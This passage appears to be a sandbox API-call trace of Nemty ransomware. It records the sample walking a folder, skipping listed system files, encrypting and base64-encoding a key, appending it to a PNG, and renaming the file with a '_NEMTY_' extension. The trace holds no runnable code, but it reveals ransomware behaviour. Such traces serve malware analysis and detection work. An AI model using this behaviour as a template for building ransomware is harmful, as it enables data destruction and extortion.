nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2=".") returned 1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="..") returned 1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="...") returned 1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="windows") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="$RECYCLE.BIN") returned 1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="rsa") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="NTDETECT.COM") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntldr") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="MSDOS.SYS") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="IO.SYS") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="boot.ini") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="boot.ini") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntuser.dat") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="desktop.ini") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="CONFIG.SYS") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="RECYCLER") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="BOOTSECT.BAK") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootmgr") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="programdata") returned -1 [0078.746] lstrcmpiW (lpString1="1047_576black.png", lpString2="appdata") returned -1 [0078.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047_576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047_576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047_576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047_576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0078.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.747] Sleep (dwMilliseconds=0x5) [0078.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe297c310, dwHighDateTime=0x1d561e7)) [0078.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe297c310, dwHighDateTime=0x1d561e7)) [0078.774] GetLastError () returned 0x5 [0078.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.784] GetLastError () returned 0x5 [0078.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0078.787] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0078.791] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0078.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0078.793] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="bYhaQLQqPwf4pzWaTLjLkwXjj8zBOCv+pLLGo2nCvlEArPYfIMvV06WkKjA+JBdQ\r\nTbeL+9x5R1tuKY8viDvbMejNt/LU81vgSWfvNL3ZMOZjlQS6B4+Gvodxb7emNYvT\r\nfaAKEL6e/6ZYyWwAO/V9ZZwgMVyiA6vWgPrQT94ewmtpJFPrk4ZYLaKbnJXYOrIZ\r\n47E0EoPb+SJqh/YMwvCPTrBL7QkEvaiaC1iyQkoU2q3ZiUdOCSQrnxdAAsCk+QRq\r\nOs58z5tCxD86fJsNBEpPAx8BpdzR2/5urkQ4epWrOWyVrFfxyJqFOIBfYhsQFHiq\r\nTv2XYGpON0uVFR8NLbqQsA==\r\n", pcchString=0x653e91c) returned 1 [0078.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0078.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.843] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.851] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0078.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.982] CloseHandle (hObject=0xffffffff) returned 0 [0078.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0078.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0078.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0078.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.982] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png._nemty_kgobjgd_")) returned 0 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.983] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0078.983] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0078.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.984] 